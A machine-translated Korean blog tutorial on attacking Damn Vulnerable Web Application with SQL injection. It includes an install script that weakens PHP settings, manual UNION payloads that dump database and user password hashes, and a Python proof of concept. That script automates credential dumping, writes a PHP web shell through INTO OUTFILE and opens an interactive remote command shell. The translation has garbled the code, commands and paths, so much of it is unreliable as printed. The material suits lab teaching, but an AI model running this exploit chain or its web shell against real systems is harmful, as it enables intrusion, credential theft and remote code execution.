젠장 취약한 웹 응용 프로그램 – SQL 주입
저자:
Ashfaq 안사

이용 후기:
평가:
5
10월 1, 2012
마지막으로 수정:일월 18, 2013

개요:

젠장, 취약한 웹 응용 프로그램에 대한 SQL 주입 공격을 수행하는 단계와 자동화 방식에 의해 단계.

소개

젠장 취약한 웹 응용 프로그램 (DVWA) 이다 PHP / MySQL을 망할 취약 악용 될 수있는 웹 응용 프로그램을 주요 목표는 법적인 환경에서 자신의 능력과 도구를 테스트하는 보안 전문가에 대한 지원 할 수 있습니다 easily.Its, 웹 개발자가 더 나은 실험실 환경에서 웹 애플리케이션 보안을 가르쳐 / 배울 수있는 보안 웹 응용 프로그램과 보조 교사 / 학생의 과정을 이해하는 데 도움이.

경고!

젠장 취약한 웹 응용 프로그램 빌어 먹을 취약! 호스팅 제공 업체의에 업로드하지 마십시오 public_html을 폴더 또는 해킹 될 것 같은 모든 작업을 웹 서버. 나는 다운로드 및 설치를 권장합니다 XAMPP 테스트 용으로 만 사용하여 LAN 내부 로컬 장비에.
우리는 어떤 하나를 사용하는 방법에 대한 책임을지지 않습니다 젠장 취약한 웹 응용 프로그램 (DVWA). 우리는 명확한 응용 프로그램의 목적을 만들었습니다 그리고 그것은 악의적으로 사용할 수 없습니다. 우리는 웹 서버를 살고 경고 및에 DVWA를 설치하지 못하도록 조치와 준. 웹 서버의 설치​​를 통해 손상된 경우 DVWA 그것은 우리의 책임이 아니다 그것을 업로드하고 설치 한 사람의 책임입니다.

설치

일반적으로 우리가 필요 XAMPP 빌어 먹을 취약한 웹 응용 프로그램을 설정하는 서버 만 XAMPP 서버는 아무것도의 모음입니다 아파치, SQL, 펄, PHP, OpenSSL을 그리고하지만, 다른 서버 측 소프트웨어의 BackTrack은 5 이러한 소프트웨어가 설치된 모든이. 그것은 역 추적 시스템에 XAMPP를 설치 할 필요가 없음을 의미합니다. 당신이해야 할 모든 젠장, 취약한 웹 응용 프로그램을 얻을의 루트 디렉토리에 넣어하는 것입니다 BackTrack은 5.

멋진 bash는 스크립트는 프로세스를 자동화하는 사용할 수 있습니다. 감사합니다: 트래비스 필립스.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
에코 ""
에코 "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
에코 "# 젠장 취약한 웹 응용 프로그램 설치 스크립트 #"
에코 "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
에코 "으로 코딩: 트래비스 필립스"
에코 "웹 사이트: HTTP://theunl33t.blogspot.com\N"
에코 "으로 수정: Ashfaq 안사\N"
에코 "웹 사이트: HTTP://hacksys.vfreaks.com\N"

에코 "[*] 디렉토리 / var에 / www가 변경 ..."
CD /했다/WWW > /dev에/제로
에코 -과 "완료!\N"

에코 -N "[*] DVWA 디렉토리를 생성 ..."
MKDIR dvwa > /dev에/제로
에코 -과 "완료!\N"

에코 -N "[*] 임시 디렉터리로 변경 ..."
CD /TMP
에코 -과 "완료!\N"

에코 "[*] DVWA 다운로드 ..."
wget을 HTTP://voxel.dl.sourceforge.net/계획/dvwa/DVWA-1.0.7.zip
에코 -과 "완료!\N"

에코 -N "[*] DVWA의 압축 풀기 ..."
압축 해제 DVWA-1.0.7.zip > /dev에/제로
에코 -과 "완료!\N"

에코 -N "[*] zip 파일을 삭제 ..."
RM DVWA-1.0.7.zip > /dev에/제로
에코 -과 "완료!\N"

에코 -N "[*] 웹 디렉토리의 루트에 dvwa를 복사 ..."
CP -R dvwa/* /했다/WWW/dvwa > /dev에/제로
에코 -과 "완료!\N"

에코 -N "[*] 지우기 임시 디렉터리 ..."
RM -R dvwa > /dev에/제로
에코 -과 "완료!\N"

에코 -N "[*] 사용 원격 php.ini 파일에 포함 ..."
CP /기타/PHP5/아파치/php.ini 파일 /기타/PHP5/아파치/php.ini1
갈증 -과 'S /하려면 allow_url_include = 켜기 / 끄기하려면 allow_url_include = 온 /' /기타/PHP5/아파치/php.ini1 > /기타/PHP5/아파치/php.ini 파일
RM /기타/PHP5/아파치/php.ini1
에코 -과 "완료!\N"

에코 -N "[*] / var에 / www /에서 dvwa / / 업로드의 해킹에 대한 쓰기 권한을 사용 ..."
chmod를 777 /했다/WWW/dvwa/의 해킹/업로드/
에코 -과 "완료!\N"

에코 -N "[*] 웹 서비스를 시작 ..."
서비스 아파치 시작 &앰프;> /dev에/제로
에코 -과 "완료!\N"

에코 -N "[*] MySQL 시작하기 ..."
서비스 MySQL의 시작 &앰프;> /dev에/제로
에코 -과 "완료!\N"

에코 -N "[*] 구성 파일을 업데이트 중 ..."
CP /했다/WWW/dvwa/설정/config.inc.php를 /했다/WWW/dvwa/설정/config.inc.php1
갈증 -과 'S /'\'\''/'\''TOOR'\''/' /했다/WWW/dvwa/설정/config.inc.php1 > /했다/WWW/dvwa/설정/config.inc.php를
RM /했다/WWW/dvwa/설정/config.inc.php1
에코 -과 "완료!\N"

에코 -N "[*] 데이터베이스를 업데이트 중 ..."
wget을 --포스트 데이터 "CREATE_DB = 만들기 / 데이터베이스를 재설정" HTTP://127.0.0.1/dvwa/Setup.php가 &앰프;> /dev에/제로
mysql을 -당신 뿌리 --암호='TOOR' -과 '업데이트 dvwa.users는 아바타 = "/의 해킹 / 사용자 설정 / gordonb.jpg" 여기서 사용자 = "gordonb";'
mysql을 -당신 뿌리 --암호='TOOR' -과 '업데이트 dvwa.users는 아바타 = "/의 해킹 / 사용자 설정 / smithy.jpg" 여기서 사용자 = "대장간";'
mysql을 -당신 뿌리 --암호='TOOR' -과 '업데이트 dvwa.users는 아바타 = "/의 해킹 / 사용자 설정 / admin.jpg" 여기서 사용자 = "관리자";'
mysql을 -당신 뿌리 --암호='TOOR' -과 '업데이트 dvwa.users는 아바타 = "/의 해킹 / 사용자 설정 / pablo.jpg" 여기서 사용자 = "파블로";'
mysql을 -당신 뿌리 --암호='TOOR' -과 '업데이트 dvwa.users는 아바타 = "/ hackable/users/1337.jpg 설정" 여기서 사용자 = "1337";'
에코 -과 "완료!\N"

에코 -과 -N "[*] DVWA에 파이어 폭스를 시작\N사용자 이름: 관리자\N암호: 암호"
파이어 폭스 HTTP://127.0.0.1/dvwa/login.php &앰프;> /dev에/제로 &앰프;
에코 -과 "\N완료!\N"
에코 -과 "[\033[1;32M * 033[1;37엠] DVWA 설치가 완료!\N"

DVWA가 성공적으로 설치, SQL 인젝션로 이동하자. 젠장 취약한 웹 응용 프로그램에 세 개의 SQL 주입 수준이 있습니다 (낮은, 중간 및 높은). 이 글에서 우리는 낮은 수준을 격파하는 방법을 설명합니다.

취약한 코드

1
2
3
4
5
6
$신분증=$_GET['ID'];

$getid="FIRST_NAME을 선택, 가 user_id = '사용자의 LAST_NAME$신분증'";
$결과=mysql_query($getid) 또는 die('
<사전>'
. mysql_error() . '</사전>
'
);

위의 코드에 취약 SQL 주입. 당신이 볼 수 있듯이 사용 된 제균가 없습니다, 변수는 단순히 직선 SQL 쿼리에 삽입.

이 SQL 인젝션에 취약 여부의 확인이하자:

아이디: ‘

이 페이지는 다음과 같은 오류 메시지를 반환:

당신은 당신의 SQL 구문에 오류가 있습니다; 근처에 사용할 올바른 구문 MySQL 서버 버전에 해당하는 설명서를 확인 ””’ 라인 1

이것은 SQL 인젝션에 취약 것을 확인, 할 첫 번째 일은이 얼마나 많은 열을 찾을 수 있습니다:

아이디: ‘ BY ORDER 1#
아이디: ‘ BY ORDER 2#

이들은 단순히 같은 페이지를 반환.

아이디: ‘ BY ORDER 3#

그런 다음이 우리에게 값을 헤아릴 수없는 오류 메시지를 제공합니다:

알 수없는 열 '3’ 주문 절 '에’

따라서, 두 개의 열이 있습니다, 분명히 당신은 사용자 ID를 통과 할 때와 FIRST_NAME과 LAST_NAME 열되는: 유효한 사용자 ID를 형성 (1) 예를 들어 당신이 얻을:

신분증: 1
이름: 관리자
성: 관리자

권리, 지금의 시간은 데이터베이스 이름을 알 수 있습니다, 테이블 이름, 열 이름과 다른 어떤 유용하고 흥미로운. 우선 첫 번째의 데이터베이스 버전을 찾아 보자:

신분증: ‘ UNION ALL SELECT 1, @ 버전 # @
이름: 1
성: 5.1.41-3ubuntu12.10

그래서 사용하고 MySQL을 5.1.41-3우분투. 데이터베이스가 실행되는 사용자와 우리가 다루고있는 데이터베이스의 이름을 찾을 수 있습니다:

신분증: ‘ UNION ALL SELECT 사용자(),데이터베이스()#
이름: 루트 @ localhost를
성: dvwa

데이터베이스 사용자는 뿌리 우리가 염려하는 데이터베이스입니다 dvwa. 사용자가 루트 이후의 MySQL의 해시를 덤프하자:

신분증: ‘ UNION ALL SELECT 사용자,mysql 데이터 번호 FROM 암호
이름: 뿌리
성: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

신분증: ‘ UNION ALL SELECT 사용자,mysql 데이터 번호 FROM 암호
이름: 뿌리
성: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

신분증: ‘ UNION ALL SELECT 사용자,mysql 데이터 번호 FROM 암호
이름: 뿌리
성: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

신분증: ‘ UNION ALL SELECT 사용자,mysql 데이터 번호 FROM 암호
이름: 데비안 SYS-라쿠텐!
성: *8C4C424D182238AFBA8B217F692D07C952EF4087

신분증: ‘ UNION ALL SELECT 사용자,mysql 데이터 번호 FROM 암호
이름: 뿌리
성: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

신분증: ‘ UNION ALL SELECT 사용자,mysql 데이터 번호 FROM 암호
이름: 관리자
성: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

와우! 우리는 루트 passord 해시를 가지고. 우리는 사용할 수 있습니다 존 리퍼 해시를 해독하기.

우리는 데이터베이스 이름이 알고 dvwa. 의 테이블 이름을 찾아 보자:

신분증: ‘ UNION ALL SELECT의 TABLE_SCHEMA,INFORMATION_SCHEMA.TABLES FROM TABLE_NAME WHERE '% dvwa % LIKE TABLE_SCHEMA’ #
이름: dvwa
성: 방명록

신분증: ‘ UNION ALL SELECT의 TABLE_SCHEMA,INFORMATION_SCHEMA.TABLES FROM TABLE_NAME WHERE '% dvwa % LIKE TABLE_SCHEMA’ #
이름: dvwa
성: 사용자

두 개의 테이블이 있습니다 dvwa 로 명명 된 데이터베이스 방명록사용자

지금, 의 열에서 찾을 수 사용자 테이블.

신분증: ‘ UNION ALL SELECT의 TABLE_SCHEMA, INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME WHERE '% dvwa % LIKE TABLE_SCHEMA’ #
이름: dvwa
성: comment_id

신분증: ‘ UNION ALL SELECT의 TABLE_SCHEMA, INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME WHERE '% dvwa % LIKE TABLE_SCHEMA’ #
이름: dvwa
성: 논평

신분증: ‘ UNION ALL SELECT의 TABLE_SCHEMA, INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME WHERE '% dvwa % LIKE TABLE_SCHEMA’ #
이름: dvwa
성: 이름

신분증: ‘ UNION ALL SELECT의 TABLE_SCHEMA, INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME WHERE '% dvwa % LIKE TABLE_SCHEMA’ #
이름: dvwa
성: USER_ID

신분증: ‘ UNION ALL SELECT의 TABLE_SCHEMA, INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME WHERE '% dvwa % LIKE TABLE_SCHEMA’ #
이름: dvwa
성: FIRST_NAME

신분증: ‘ UNION ALL SELECT의 TABLE_SCHEMA, INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME WHERE '% dvwa % LIKE TABLE_SCHEMA’ #
이름: dvwa
성: LAST_NAME

신분증: ‘ UNION ALL SELECT의 TABLE_SCHEMA, INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME WHERE '% dvwa % LIKE TABLE_SCHEMA’ #
이름: dvwa
성: 사용자

신분증: ‘ UNION ALL SELECT의 TABLE_SCHEMA, INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME WHERE '% dvwa % LIKE TABLE_SCHEMA’ #
이름: dvwa
성: 암호

신분증: ‘ UNION ALL SELECT의 TABLE_SCHEMA, INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME WHERE '% dvwa % LIKE TABLE_SCHEMA’ #
이름: dvwa
성: 화신

최고, 이제부터 사용자 이름과 암호를 덤프하자 dvwa.users 테이블. 시작 해볼까요.

신분증: ‘ UNION ALL SELECT 사용자, dvwa.users FROM 암호 #
이름: 관리자
성: 5f4dcc3b5aa765d61d8327deb882cf99

신분증: ‘ UNION ALL SELECT 사용자, dvwa.users FROM 암호 #
이름: gordonb
성: e99a18c428cb38d5f260853678922e03

신분증: ‘ UNION ALL SELECT 사용자, dvwa.users FROM 암호 #
이름: 1337
성: 8d3533d75ae2c3966d7e0d4fcc69216b

신분증: ‘ UNION ALL SELECT 사용자, dvwa.users FROM 암호 #
이름: 파블로
성: 0d107d09f5bbe40cade3de5c71e9e9b7

신분증: ‘ UNION ALL SELECT 사용자, dvwa.users FROM 암호 #
이름: 대장간
성: 5f4dcc3b5aa765d61d8327deb882cf99

작업 수행. 우리는 성공적으로 사용자 자격 증명을 쏟아. 우리는 어떤 MD5 해시 크래커를 사용하여 균열 수 있습니다.

HackSys 팀 파이썬에서 POC를 만들었다 고의 원조 자동화 된 SQL의 DVWA에 주입하고 우리는 정기적으로 쉘 명령을 실행할 수있는 쉘 프롬프트를 제공합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/USR / 빈 / 파이썬
#________________________________________________
#    젠장 취약한 웹 응용 프로그램 - DVWA
#     SQL 인젝션은 RCE에 공격 - 의 PoC
#   Ashfaq 안사로 (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (회사)   HTTP://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~ ~ ~ ~ HackSys 팀에 의해 전원 - 표범
#________________________________________________
#
수입 SYS, 소켓, URLLIB, 다시, urllib2를, getpass, , 시간, 닥치는대로의, base64로
부터 optparse를 수입 OptionParser
부터 cookielib 수입 CookieJar

descLogo = """
________________________________________________

     젠장 취약한 웹 응용 프로그램 - DVWA
           RCE에 SQL 인젝션 - 의 PoC
   Ashfaq 안사로 (hacksysteam@hotmail.com)

            (__)
            (회사)  HTTP://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~ ~ ~ ~ HackSys 팀에 의해 전원 - 표범
________________________________________________

"""


#인쇄 명령과 함께 사용할 수에 색깔 변수
RED= "\033[31엠" # 빨강
GREEN= "\033[32엠" # 녹색
WHITE= "\033[0엠" # 화이트
CYAN = "\033[36엠" #시안
PURPLE = "\033[35엠" #자

#변수
urlStart = "취약점 / SQLI / index.php 파일?ID ="
urlEnd = "&제출 = 제출"
shellName = "fd7cb4cb0031ba249"
에이전트 = ["Mozilla/4.0 (호환; MSIE 5.5; 윈도우 NT 5.0)",
    "인터넷 익스플로러 7 (윈도우 비스타); Mozilla/4.0 ",
    "구글 크롬 0.2.149.29 (윈도우 XP)",
    "오페라 9.25 (윈도우 비스타)",
    "Mozilla/4.0 (호환; MSIE 7.0B; 윈도우 NT 5.1)",
    "Opera/8.00 (윈도우 NT 5.1; 당신; 에)"]
대리인 = 닥치는대로의.선택(에이전트)


#사용 도움말 요약
용법 = CYAN + ". / %의 음식물 [<옵션>] -티 [목표] -디 [디렉토리]"
용법 += "\N예: ./%음식물에-p localhost를:8080 -티 192.168.1.15:8080 -D / dvwa /"

#파서 옵션
파서 = OptionParser(용법=용법)
파서.add_option("-P", 유형="문자열",행동="가게", DEST="프록시",
                  도움="HTTP 프록시 <서버:포트>")
파서.add_option("-T", 유형="문자열", 행동="가게", DEST="대상",
                  도움="대상 서버 <서버:포트>")
파서.add_option("-D", 유형="문자열", 행동="가게", DEST="DirPath",
                  도움=젠장 취약한 웹 응용 프로그램에 "디렉토리 경로")
(옵션, 인자) = 파서.parse_args()


#텍스트를 입력 - 그냥 재미
DEF typingText(문자 메시지,):
 
  시험:
    나는 문자 메시지:
      인쇄 색 + "\B%의"%나는,
      SYS.표준 출력.플러시()
      시간.수면(0.020)
  :
    패스
 

(SYS.ARGV) < 5:
    typingText(descLogo, PURPLE)
    파서.print_help()
    SYS.출구(1)
   

#프록시 처리기
DEF getProxy():
 
    시험:
        proxy_handler = urllib2를.프록시 처리기({'HTTP': 옵션.대리})
    (소켓.시간 제한):
            인쇄 RED + "\티프록시 시간 초과 ...\N"
            SYS.출구(1)
    반환 proxy_handler


#테스트 프록시 연결
DEF testProxy():
 
    인쇄(CYAN + "[+] 프록시를 테스트 @ % s이 ..." % (옵션.대리))
    여는 사람 = urllib2를.build_opener(getProxy())
   
    시험:
      검사 = 여는 사람.열려있는("HTTP://www.google.com").읽기()
    :
      검사 = 0
      패스
   
    검사 >= 1:
      인쇄(GREEN + "\티프록시가 작동하는 찾을 수 있습니다 ...\N")
    그렇지 않으면:
      인쇄 RED + "\티프록시가 실패했습니다 ... 종료!\N"
      SYS.출구(1)


#서버에서 응답을받을
DEF getServerResponse(CJ, targetURL, 데이터):
     
    옵션.대리:
      시험:
    여는 사람 = urllib2를.build_opener(getProxy(), urllib2를.HTTPCookieProcessor(CJ))
    여는 사람.addheaders = [('사용자 에이전트', 대리인)]
    검사 = 여는 사람.열려있는(targetURL, 데이터).읽기()
    반환 검사
      :
    인쇄 (RED + "\티프록시 연결은 원격 대상에 실패 ...\N")
    SYS.출구(1)
    그렇지 않으면:
      시험:
    여는 사람 = urllib2를.build_opener(urllib2를.HTTPCookieProcessor(CJ))
    여는 사람.addheaders = [('사용자 에이전트', 대리인)]
    검사 = 여는 사람.열려있는(targetURL, 데이터).읽기()
    반환 검사
      :
    인쇄 (RED + "\티대상 연결 실패, 당신의 주소를 ...\N")
    SYS.출구(1)


#취약한 웹 응용 프로그램을 젠에 로그인하려고
DEF doLogin():
 
    인쇄(CYAN + "[+] DVWA에 로그인하려고 ...")
    targetURL = "HTTP://" + 옵션.목표 + 옵션.dirPath + "login.php"
    값 = {'사용자 이름' : '관리자', '비밀번호' : '비밀번호', '로그인' : '로그인'}
    데이터 = URLLIB.를 urlencode()
    CJ = CookieJar()
   
    #서버의 응답을하고 그것을 변수에 저장
    respHTML = getServerResponse(CJ, targetURL, 데이터)
       
    아니 다시.검색("로그인 실패", respHTML):
      시간.수면(1)
      typingText("\티인증에 성공 ...\N\N", GREEN)
      반환 CJ
    그렇지 않으면:
      시간.수면(1)
      typingText("\티인증 거부! 종료 ...\N\N\N", RED)
      SYS.출구(1)


#젠장 취약한 웹 응용 프로그램의 보안 수준을 tamperthe하려고
DEF lowSecurity(adminCookie):
 
    인쇄(CYAN + "[+] DVWA의 보안을 변조 ...")
    targetURL = "HTTP://" + 옵션.목표 + 옵션.dirPath + "security.php"
    값 = {'보안' : '낮은', 'seclev_submit' : '제출'}
    데이터 = URLLIB.를 urlencode()
    CJ = adminCookie #쿠키는 doLogin에서 반환 된 사용() 기능
   
    #서버의 응답을하고 그것을 변수에 저장
    respHTML = getServerResponse(CJ, targetURL, 데이터)
   
    다시.검색("보안 수준은 현재 <에>낮은</에>", respHTML):
      시간.수면(1)
      typingText("\티LOW에 대한 보안 수준을 성공적으로 설정합니다 ...\N\N", GREEN)
    그렇지 않으면:
      시간.수면(1)
      typingText("\티보안 수준을 변조 할 수 없습니다! 종료 ...\N\N", RED)
      SYS.출구(1)


#대상이 SQL 인젝션에 취약한 지 확인
DEF testSQLinjection(adminCookie):
 
    인쇄(CYAN + "[+] 대상이 취약한 지 확인 중 ...")
    injection_url = "1 '"
    targetURL = "HTTP://" + 옵션.목표 + 옵션.dirPath + urlStart + injection_url + urlEnd
    데이터 = ""
   
    CJ = adminCookie #쿠키는 doLogin에서 반환 된 사용() 기능

    #서버의 응답을하고 그것을 변수에 저장
    respHTML = getServerResponse(CJ, targetURL, 데이터)
   
    다시.검색(SQL 구문에 "오류", respHTML):
      시간.수면(1)
      typingText("\티w00t -- 대상은 취약한 것으로 밝혀 ...\N\N", GREEN)
    그렇지 않으면:
      시간.수면(1)
      typingText("\티o00w -- 대상은 취약하지 않습니다! 종료 ...\N\N", RED)    
      SYS.출구(1)


#MySQL의 세부 정보를 찾기
DEF findMySQLInfo(adminCookie):
 
    인쇄(CYAN + "[+] MySQL의 정보를 Retriving ...")
    injection_url = "1 ' UNION ALL SELECT는 CONCAT_WS(0x3b,0x4861636b537973205465616d,사용자(),데이터베이스(),버전(),0x4861636b537973205465616d)%2C2; #"
    targetURL = "HTTP://" + 옵션.목표 + 옵션.dirPath + urlStart + injection_url + urlEnd
    데이터 = ""
   
    CJ = adminCookie #쿠키는 doLogin에서 반환 된 사용() 기능

    #서버의 응답을하고 그것을 변수에 저장
    respHTML = getServerResponse(CJ, targetURL, 데이터)
   
    # 이제 흥미로운 정보를 추출
    get_secret_data = .발견(respHTML,  "HackSys 팀")
     
    # 대상은 취약 출구가없는 경우
    get_secret_data == -1:
        typingText("\티작업이 실패했습니다. 지금 종료 ...\N\N", RED)
        SYS.출구(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = .발견(new_html4,  "HackSys 팀")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # 데이터 수신, 지금 포맷하고 표시
    formatted_output = .스플릿(new_html_5,  ";")
    시간.수면(1)
    인쇄 GREEN + "\티MySQL의 데이터베이스: ",  formatted_output[2]
    인쇄 GREEN + "\티MySQL 버젼 : ",  formatted_output[3]
    인쇄 GREEN + "\티MySQL 데이터베이스 사용자 : ",  formatted_output[1]
    인쇄 ""
    반환


#사용자 테이블의 레코드 번호를 부여한다
DEF findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1 ' UNION ALL SELECT 1퍼센트의 2C COUNT(*)+ 사용자 % 3B % 23"
    targetURL = "HTTP://" + 옵션.목표 + 옵션.dirPath + urlStart + injection_url + urlEnd
    데이터 = ""
   
    CJ = adminCookie #쿠키는 doLogin에서 반환 된 사용() 기능

    #서버의 응답을하고 그것을 변수에 저장
    respHTML = getServerResponse(CJ, targetURL, 데이터)
   
    # 이제 흥미로운 정보를 추출
    get_secret_data = .발견(respHTML,  "<BR>성:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = .발견(new_html,  "</사전>\R\N\R\N\티</DIV>")  
    new_html_2 = new_html[:new_get_secret_data]

    # 데이터 수신, 지금 포맷하고 표시
    formatted_output = .스플릿(new_html_2,  ": ")
    반환 formatted_output[2]
   

#사용자 테이블에서 사용자 이름 이름과 암호를 덤프하려고
DEF findUserPasswords(adminCookie, 색인):
 
    injection_url = "1 ' UNION ALL SELECT 1퍼센트의 2C CONCAT_WS(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+ 사용자의 LIMIT " + (색인) + "% 2C30 %의 3B의 23 %"
    targetURL = "HTTP://" + 옵션.목표 + 옵션.dirPath + urlStart + injection_url + urlEnd
    데이터 = ""
   
    CJ = adminCookie #쿠키는 doLogin에서 반환 된 사용() 기능

    #서버의 응답을하고 그것을 변수에 저장
    respHTML = getServerResponse(CJ, targetURL, 데이터)
   
    # 이제 흥미로운 정보를 추출
    get_secret_data = .발견(respHTML,  "HackSys 팀")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = .발견(new_html,  "HackSys 팀")    
    new_html_2 = new_html[:new_get_secret_data]

    # 데이터 수신, 지금 포맷하고 표시
    formatted_output = .스플릿(new_html_2,  ";")
    시간.수면(1)
    인쇄 GREEN + "\티사용자 ID : ",  formatted_output[1]
    인쇄 GREEN + "\티이름: ",  formatted_output[2]
    인쇄 GREEN + "\티성 : ",  formatted_output[3]
    인쇄 GREEN + "\티이름: ",  formatted_output[4]
    인쇄 GREEN + "\티암호 해시 : ",  formatted_output[5]
    인쇄 ""


#대화 형 공격 tinyShell을 업로드하려고
DEF uploadShellViaSQLi(adminCookie):
 
    인쇄(CYAN + "[+] SQLI를 통해 쉘을 업로드 ...")
   
    #XAMPP에서 Windows XP
    #injection_url ="

    #리눅스
    injection_url = "1 % 27 UNION ALL SELECT % 27 % 27 % 2C % 27 % 3C % 3Fphp 시스템(base64_decode(%24_GET[%22CMD % 22 % 5D의 % 29 % 29 %의 3B % 3 층 % 3E % 27 OUTFILE % 27 % 2Fvar % 2Fwww % 2Fdvwa % 2F INTO" + shellName + ".의 PHP % 27 % 3B % 23"
   
    targetURL = "HTTP://" + 옵션.목표 + 옵션.dirPath + urlStart + injection_url + urlEnd
    데이터 = ""
   
    CJ = adminCookie #쿠키는 doLogin에서 반환 된 사용() 기능

    #서버의 응답을하고 그것을 변수에 저장
    respHTML = getServerResponse(CJ, targetURL, 데이터)

    다시.검색("<H3>사용자 ID:</H3>", respHTML):
      시간.수면(1)
      typingText("\티w00t -- 쉘이 성공적으로 업로드 ...\N\N", GREEN)
    ELIF 다시.검색("이미 존재</사전>", respHTML):
      시간.수면(1)
      typingText("\티w00t -- 쉘이 이미 존재합니다 ...\N\N", GREEN)  
    그렇지 않으면:
      시간.수면(1)
      typingText("\티o00w -- 쉘을 업로드 할 수 없습니다 ...\N\N", RED)
      SYS.출구(1)


#대화 형 공격 세션을 시작
DEF interactiveAttack(adminCookie):
 
  인쇄 CYAN + "[+] 대화 형 원격 콘솔 입력 (종료에 대한 질문)\N" + WHITE + "\N  HackSys 팀 - 표범\N   저자: Ashfaq 안사\N  hacksysteam@hotmail.com\N HTTP://hacksys.vfreaks.com /\N\N"
  HN = GREEN + "% S @ % S # " % (getpass.GetUser가(), 옵션.목표) + WHITE
  cmd를 = ""
  데이터 = ""
  CJ = adminCookie
  동안 cmd를 != 'Q':
    시험:
      cmd를 = raw_input을(HN)
      cmd64 = base64로.b64encode(cmd를)      
      targetURL = ("HTTP://%님의 %의 %의 s.php?CMD = % s의" % (옵션.목표, 옵션.dirPath, shellName, cmd64))
      또는 = getServerResponse(CJ, targetURL, cmd64)
      shellOutput = 또는.스플릿("관리자")
      인쇄 WHITE + shellOutput[2]
    :
      탈출
 
  # 자살
  rmShell = base64로.b64encode("RM %의 s.php" % (shellName))
  targetURL = ("HTTP://%님의 %의 %의 s.php?CMD = % s의" % (옵션.목표, 옵션.dirPath, shellName, rmShell))
  또는 = getServerResponse(CJ, targetURL, rmShell)

     
#주요 기능
DEF():
 
  #텍스트를 입력 스타일에서 배너 인쇄
  typingText(descLogo, PURPLE)
 
  #사용-P 인수를 지정한 경우 프록시 서버를 확인하고 연결
  옵션.대리:
    testProxy()

  #관리자 쿠키를 잡아
  adminCookie = doLogin()
 
  #보안 수준을 변조
  lowSecurity(adminCookie)
 
  #테스트 SQL 주입 취약점
  testSQLinjection(adminCookie)
 
  #MySQL의 세부 정보를 덤프
  findMySQLInfo(adminCookie)
 
  #사용자 테이블의 레코드 번호를 찾을 수
  totalRecords = INT(findNoOfRecordsInTable(adminCookie))
 
  인쇄(CYAN + "[+] 사용자 이름 및 암호를 Retriving ...")
 
  색인 범위(1,totalRecords 1):
    #사용 암호를 덤프
    findUserPasswords(adminCookie, 색인)
 
  #tinyShell을 업로드
  uploadShellViaSQLi(adminCookie)
 
  #대화 형 공격을 시작합니다
  interactiveAttack(adminCookie)
 
__name__ == "__main__":
    주()

젠장 취약한 웹 응용 프로그램을 다운로드 – SQL 주입 POC

 

DVWA_SQLi.zip

 
이 게시물을 읽을 시간을 내 주셔서 감사합니다. 당신은 어떤 문제에 직면하는 경우, 에서 우리에게 보내 주시기 바랍니다: hacksysteam@hotmail.com

 
 

178,060 전체보기, 41 조회 수 오늘

다음 두 개의 탭은 아래 내용을 변경.

Ashfaq 안사

보안 연구원
